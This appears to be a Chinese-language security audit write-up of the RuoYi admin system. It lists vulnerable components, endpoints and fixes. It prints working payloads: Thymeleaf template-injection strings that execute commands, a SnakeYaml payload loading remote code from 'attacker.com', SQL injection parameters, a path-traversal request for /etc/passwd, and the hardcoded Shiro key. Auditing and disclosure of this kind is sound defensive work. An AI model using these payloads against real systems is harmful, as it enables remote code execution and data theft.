【代码审计】若依后台管理系统
字数 1942 2025-08-26 22:11:57
若依后台管理系统代码审计报告
一、项目简介
RuoYi是一个Java EE企业级快速开发平台,基于经典技术组合:
- Spring Boot
- Apache Shiro
- MyBatis
- Thymeleaf
- Bootstrap
内置功能模块包括:
- 用户管理、部门管理、岗位管理
- 菜单管理、角色管理、字典管理
- 参数管理、通知公告、操作日志
- 登录日志、在线用户、定时任务
- 代码生成、系统接口、服务监控
- 缓存监控、在线构建器、连接池监视
二、环境搭建
系统要求
- JDK >= 1.8 (推荐1.8版本)
- Mysql >= 5.7.0 (推荐5.7版本)
- Maven >= 3.0
部署步骤
- 创建并导入数据库:
create database ry;
use ry;
source /path/to/ry_20200323.sql
source /path/to/quartz.sql
- 修改数据库配置:
src/main/resources/application-druid.yml中修改数据库账号密码
三、漏洞审计
1. 第三方组件漏洞
1.1 Shiro组件漏洞
漏洞版本:1.4.2
漏洞类型:
- 密钥硬编码
- 反序列化漏洞
漏洞位置:
RuoYi-v4.2/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ShiroConfig.java
关键代码:
// 硬编码密钥
cookieRememberMeManager.setCipherKey(Base64.decode("fCq+/xW488hMTCD+cmJ3aQ=="));
漏洞利用:
- 使用已知密钥构造恶意RememberMe Cookie
- 由于Shiro 1.4.2使用AES-GCM加密模式,需使用对应payload
1.2 Thymeleaf组件漏洞
漏洞版本:2.0.0
漏洞类型:SSTI(模板注入)
常用payload:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
http://127.0.0.1:8080/doc/;/__${T(java.lang.Runtime).getRuntime().exec("whoami")}__::main.x
触发点:
/monitor/cache/接口/demo/form/localrefresh/task接口
利用方法:
POST请求构造payload:
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
1.3 Fastjson组件漏洞
漏洞版本:1.2.60
漏洞类型:反序列化漏洞
漏洞位置:
VelocityUtils.java 中使用 JSONObject.parseObject(options)
触发流程:
- 通过
genTable.getOptions()获取options参数 - 最终在
GenController的preview方法中处理
1.4 SnakeYaml组件漏洞
漏洞版本:1.23
漏洞类型:反序列化漏洞
利用方式:
通过定时任务功能,在"调用目标字符串"处输入:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com"]]]]')
2. 单类漏洞
2.1 SQL注入漏洞
注入点一:
- 位置:
SysRoleMapper.xml - 接口:
POST /system/role/list - 参数:
params[dataScope]=* - 利用:添加SQL注入payload
注入点二:
- 位置:
SysDeptMapper.xml - 接口:
POST /system/dept/list - 参数:
params[dataScope]=*
注入点三:
- 位置:
SysUserMapper.xml - 接口:
POST /system/user/list - 参数:
params[dataScope]=*
注入点四:
- 位置:
SysUserMapper.xml - 接口:
POST /system/role/authUser/allocatedList - 参数:
params[dataScope]=*
注入点五:
- 位置:
SysUserMapper.xml - 接口:
POST /system/role/authUser/unallocatedList - 参数:
params[dataScope]='
2.2 任意文件读取/下载漏洞
漏洞位置:
CommonController.java的resourceDownload方法
接口:
GET /common/download/resource?resource=/profile/../../etc/passwd
漏洞原理:
- 获取本地资源路径:
D:/ruoyi/uploadPath - 拼接用户输入的resource参数(去除
/profile前缀) - 使用
FileUtils.writeBytes()输出文件内容
四、修复建议
-
Shiro组件:
- 修改默认密钥
- 升级到最新版本
-
Thymeleaf组件:
- 升级到最新版本
- 对用户输入进行严格过滤
-
Fastjson组件:
- 升级到安全版本
- 使用安全模式
-
SQL注入:
- 使用预编译语句
- 避免直接拼接SQL
-
文件下载:
- 对文件路径进行规范化检查
- 限制访问目录
-
SnakeYaml:
- 避免反序列化不可信数据
- 使用安全配置
五、总结
若依后台管理系统存在多处安全漏洞,包括:
- 第三方组件漏洞(Shiro、Thymeleaf、Fastjson、SnakeYaml)
- SQL注入漏洞(5处)
- 任意文件读取漏洞
建议开发者及时修复这些漏洞,加强系统安全性。